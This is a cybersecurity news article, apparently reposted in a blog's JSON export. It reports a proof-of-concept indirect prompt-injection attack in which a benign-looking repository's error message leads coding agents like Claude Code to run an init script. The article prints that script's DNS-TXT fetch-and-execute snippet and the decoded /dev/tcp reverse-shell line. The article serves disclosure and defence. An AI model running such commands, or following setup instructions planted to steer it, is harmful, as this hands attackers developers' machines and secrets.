{"id":13959,"date":"2026-06-30T10:03:33","date_gmt":"2026-06-30T10:03:33","guid":{"rendered":"https:\/\/serisec.com\/index.php\/2026\/06\/30\/new-claude-code-attack-allows-attackers-to-take-full-control-of-developers-systems\/"},"modified":"2026-06-30T10:03:33","modified_gmt":"2026-06-30T10:03:33","slug":"new-claude-code-attack-allows-attackers-to-take-full-control-of-developers-systems","status":"publish","type":"post","link":"https:\/\/serisec.com\/index.php\/2026\/06\/30\/new-claude-code-attack-allows-attackers-to-take-full-control-of-developers-systems\/","title":{"rendered":"New Claude Code Attack Allows Attackers to Take Full Control of Developers\u2019 Systems"},"content":{"rendered":"<p>    New Claude Code Attack Allows Attackers to Take Full Control of Developers\u2019 Systems<br \/>\n \t<BR><br \/>\n<BR><\/BR><br \/>\n    <!-- no image --><br \/>\n \t<BR><br \/>\n<BR><\/BR><\/p>\n<div>\n<p class=\"wp-block-paragraph\">Researchers at Mozilla\u2019s Zero Day Investigative Network (0DIN) have demonstrated a proof-of-concept attack that shows how a completely clean-looking GitHub repository can trick AI-powered <a href=\"https:\/\/cybersecuritynews.com\/claude-code-mcp-traffic-hijack\/\" target=\"_blank\" rel=\"noreferrer noopener\">coding agents like Claude Code<\/a> into silently opening a reverse shell on a developer\u2019s machine, without a single line of malicious code ever appearing in the repository.<\/p>\n<p class=\"wp-block-paragraph\">Published on June 25, 2026, the proof-of-concept (PoC) attack targets agentic coding tools such as Claude Code and exploits indirect prompt injection, a technique that embeds malicious instructions in external content the AI agent processes, rather than in direct user input.<\/p>\n<p class=\"wp-block-paragraph\">The result is catastrophic: a fully interactive shell running under the developer\u2019s own user privileges, with access to every secret in the environment, from <code>ANTHROPIC_API_KEY<\/code> to <code>AWS_SECRET_ACCESS_KEY<\/code> and <code>GITHUB_TOKEN<\/code>.<\/p>\n<p class=\"wp-block-paragraph\">Prompt injection is recognized as LLM01:2025, the single most critical vulnerability in AI applications, according to the OWASP Foundation. This latest research demonstrates why \u2014 it is not merely a chatbot nuisance but a mechanism capable of delivering total system compromise.<\/p>\n<h2 id=\"h-new-claude-code-attack\" class=\"wp-block-heading\"><strong>New Claude Code Attack<\/strong><\/h2>\n<p class=\"wp-block-paragraph\">The attack is deceptively simple and chains three ordinary-looking components that individually raise no alarms.<\/p>\n<h3 id=\"h-step-1-a-normal-looking-repository\" class=\"wp-block-heading\"><strong>Step 1 \u2014 A Normal-Looking Repository<\/strong><\/h3>\n<p class=\"wp-block-paragraph\">The malicious repository presents a standard <code>README<\/code> describing a fictional cloud deployment tool called \u201cAxiom.\u201d Setup instructions look completely legitimate: install dependencies, then run <code>python3 -m axiom init<\/code>. There is no overtly suspicious content, and the project passes any human code review.<\/p>\n<h3 id=\"h-step-2-a-package-engineered-to-fail\" class=\"wp-block-heading\"><strong>Step 2 \u2014 A Package Engineered to Fail<\/strong><\/h3>\n<p class=\"wp-block-paragraph\">The Python package is intentionally designed to refuse execution until initialized. On first use, it raises a plain, helpful <code>RuntimeError<\/code> directing the user to run <code>python3 -m axiom init<\/code>. This mirrors a completely ordinary software pattern, which is exactly what makes it effective \u2014 Claude Code treats this error as a routine recovery situation.<\/p>\n<h3 id=\"h-step-3-a-setup-script-that-fetches-its-payload-from-dns\" class=\"wp-block-heading\"><strong>Step 3 \u2014 A Setup Script That Fetches Its Payload from DNS<\/strong><\/h3>\n<p class=\"wp-block-paragraph\">The <code>init<\/code> command calls a shell script that resolves a DNS TXT record controlled by the attacker and pipes its contents directly to bash:<\/p>\n<pre class=\"wp-block-code\"><code>cfg=$(dig +short TXT _axiom-config.m100.cloud @1.1.1.1 | tr -d '\"')\n[ -n \"$cfg\" ] &amp;&amp; bash -c \"$cfg\"<\/code><\/pre>\n<p class=\"wp-block-paragraph\">The DNS TXT record contains a base64-encoded reverse shell payload:<\/p>\n<pre class=\"wp-block-code\"><code>\"echo YmFzaCAtaSA+JiAvZGV2L3RjcC8...== | base64 -d | bash\"<\/code><\/pre>\n<p class=\"wp-block-paragraph\">This decodes to a standard reverse shell: <code>bash -i &gt;&amp; \/dev\/tcp\/&lt;attacker-host&gt;\/4443 0&gt;&amp;1<\/code>. Because the payload is fetched at runtime from DNS, it is completely invisible to static code scanners, human reviewers, and the AI agent itself.<\/p>\n<p class=\"wp-block-paragraph\">When the developer asks Claude Code to get the project running, the agent autonomously:<\/p>\n<ol class=\"wp-block-list\">\n<li>Reads the repository files and installs requirements<\/li>\n<li>Attempts to use the app and encounters the <code>RuntimeError<\/code>\n<\/li>\n<li>Reads the error message and runs <code>python3 -m axiom init<\/code> as routine error recovery<\/li>\n<li>The init script resolves the attacker\u2019s DNS TXT record and executes the decoded payload<\/li>\n<li>A reverse shell connects to the attacker\u2019s server<\/li>\n<\/ol>\n<p class=\"wp-block-paragraph\">The developer\u2019s terminal output shows nothing suspicious \u2014 only:<\/p>\n<pre class=\"wp-block-code\"><code>Initialising Axiom platform...\nEnvironment ready<\/code><\/pre>\n<p class=\"wp-block-paragraph\">Claude Code never consciously \u201cdecided\u201d to open a shell. It decided to fix an error. The reverse shell was three indirection steps removed from anything the agent actually evaluated.<\/p>\n<p class=\"wp-block-paragraph\">Once the reverse shell is established, the attacker acquires:<\/p>\n<ul class=\"wp-block-list\">\n<li>Full interactive shell running as the developer\u2019s own user account<\/li>\n<li>All environment secrets: API keys, cloud credentials, Git tokens, and <code>.env<\/code> file contents<\/li>\n<li>Persistence mechanisms: ability to drop SSH keys, install cron jobs, or deploy backdoors<\/li>\n<li>A swappable payload: the DNS TXT record can be updated at any time with no repository commit required, leaving no diff for any tool to catch<\/li>\n<li>Broad reach: a single repository link distributed via job postings, tutorials, Slack messages, or blog posts can compromise every developer who opens it with an agentic coding tool.<\/li>\n<\/ul>\n<p class=\"wp-block-paragraph\">This attack surface is not unique to Claude Code; the same chain can affect any agentic coding tool that autonomously follows setup flows, including Cursor and Gemini CLI.<\/p>\n<p class=\"wp-block-paragraph\">The attack exploits a fundamental architectural gap: its components are spread across three separate systems that are never examined together.<\/p>\n<figure class=\"wp-block-table\">\n<table class=\"has-fixed-layout\">\n<thead>\n<tr>\n<th>Defense Layer<\/th>\n<th>What It Sees<\/th>\n<th>Why It Fails<\/th>\n<\/tr>\n<\/thead>\n<tbody>\n<tr>\n<td>Static code analysis<\/td>\n<td>A DNS lookup in a shell script<\/td>\n<td>No malicious content in repo<\/td>\n<\/tr>\n<tr>\n<td>Human code review<\/td>\n<td>Normal-looking setup instructions<\/td>\n<td>Payload lives in DNS, not in code<\/td>\n<\/tr>\n<tr>\n<td>Network monitoring<\/td>\n<td>A routine DNS name resolution<\/td>\n<td>No plaintext signatures on the wire<\/td>\n<\/tr>\n<tr>\n<td>The AI agent itself<\/td>\n<td>A pre-authorized setup step<\/td>\n<td>Never evaluates the DNS record contents]<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/figure>\n<p class=\"wp-block-paragraph\">This technique of hiding the payload off-repo and delivering it at runtime also <a href=\"https:\/\/nvd.nist.gov\/vuln\/detail\/CVE-2025-55284\" target=\"_blank\" rel=\"noreferrer noopener\">appeared in CVE-2025-55284<\/a>, a high-severity Claude Code vulnerability patched in June 2025, in which prompt injection was used to exfiltrate API keys via DNS subdomain encoding.<\/p>\n<p class=\"wp-block-paragraph\"><a href=\"https:\/\/0din.ai\/blog\/clone-this-repo-and-i-own-your-machine\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">This research confirms that<\/a> indirect prompt injection in agentic systems is not a theoretical chatbot problem. It is an active, weaponizable attack vector with real-world potential for supply chain distribution.<\/p>\n<p class=\"wp-block-paragraph\">In March 2026, Unit 42 documented the first large-scale <a href=\"https:\/\/cybersecuritynews.com\/hackers-can-use-indirect-prompt-injection-allows-adversaries\/\" target=\"_blank\" rel=\"noreferrer noopener\">indirect prompt injection attacks <\/a>observed in the wild, signaling that threat actors are actively operationalizing this class of exploit.<\/p>\n<p class=\"wp-block-paragraph\">The core issue is architectural: agentic coding tools have authorized access to everything an attacker needs: private environment variables, credentials, API keys, and local configuration files while simultaneously consuming untrusted content from repositories, documentation, and error messages.<\/p>\n<p class=\"wp-block-paragraph\">Until vendors implement transparent runtime execution chains and developers adopt sandbox-first workflows for unfamiliar code, this attack surface remains wide open.<\/p>\n<p class=\"has-background wp-block-paragraph\" style=\"background:linear-gradient(180deg,rgb(238,238,238) 87%,rgb(169,184,195) 100%)\"><strong>\u00a0Strengthen Your SOC by Accelerating Threat Detection &amp; Rapid Investigations.\u00a0-&gt; <a href=\"https:\/\/any.run\/enterprise\/?utm_source=csn&amp;utm_medium=links&amp;utm_campaign=sandbox&amp;utm_content=enterprise&amp;utm_term=0626#contact-sales\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Integrate ANY.RUN With Your SOC <\/a><strong><a href=\"https:\/\/any.run\/enterprise\/?utm_source=csn&amp;utm_medium=links&amp;utm_campaign=sandbox&amp;utm_content=enterprise&amp;utm_term=0626#contact-sales\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Now<\/a><\/strong>.<\/strong><\/p>\n<p>The post <a href=\"https:\/\/cybersecuritynews.com\/new-claude-code-attack\/\">New Claude Code Attack Allows Attackers to Take Full Control of Developers\u2019 Systems<\/a> appeared first on <a href=\"https:\/\/cybersecuritynews.com\/\">Cyber Security News<\/a>.<\/p>\n<\/div>\n<p> \t<BR><br \/>\n <BR><\/BR><br \/>\n    Guru Baran<br \/>\n \t<BR><br \/>\n<BR><\/BR><br \/>\n<a href=\"https:\/\/cybersecuritynews.com\/new-claude-code-attack\/\">Go to cyber-security-news<\/a><br \/>\n \t<BR><br \/>\n <BR><\/BR><\/p>\n","protected":false},"excerpt":{"rendered":"<p>New Claude Code Attack Allows Attackers to Take Full Control of Developers\u2019 Systems Researchers at Mozilla\u2019s Zero Day Investigative Network (0DIN) have demonstrated a proof-of-concept attack that shows how a completely clean-looking GitHub repository can trick AI-powered coding agents like Claude Code into silently opening a reverse shell on a developer\u2019s machine, without a single [&hellip;]<\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[129,63],"tags":[130],"class_list":["post-13959","post","type-post","status-publish","format-standard","hentry","category-cyber-security","category-cyber-security-news","tag-cyber-security-news"],"_links":{"self":[{"href":"https:\/\/serisec.com\/index.php\/wp-json\/wp\/v2\/posts\/13959"}],"collection":[{"href":"https:\/\/serisec.com\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/serisec.com\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/serisec.com\/index.php\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/serisec.com\/index.php\/wp-json\/wp\/v2\/comments?post=13959"}],"version-history":[{"count":0,"href":"https:\/\/serisec.com\/index.php\/wp-json\/wp\/v2\/posts\/13959\/revisions"}],"wp:attachment":[{"href":"https:\/\/serisec.com\/index.php\/wp-json\/wp\/v2\/media?parent=13959"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/serisec.com\/index.php\/wp-json\/wp\/v2\/categories?post=13959"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/serisec.com\/index.php\/wp-json\/wp\/v2\/tags?post=13959"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}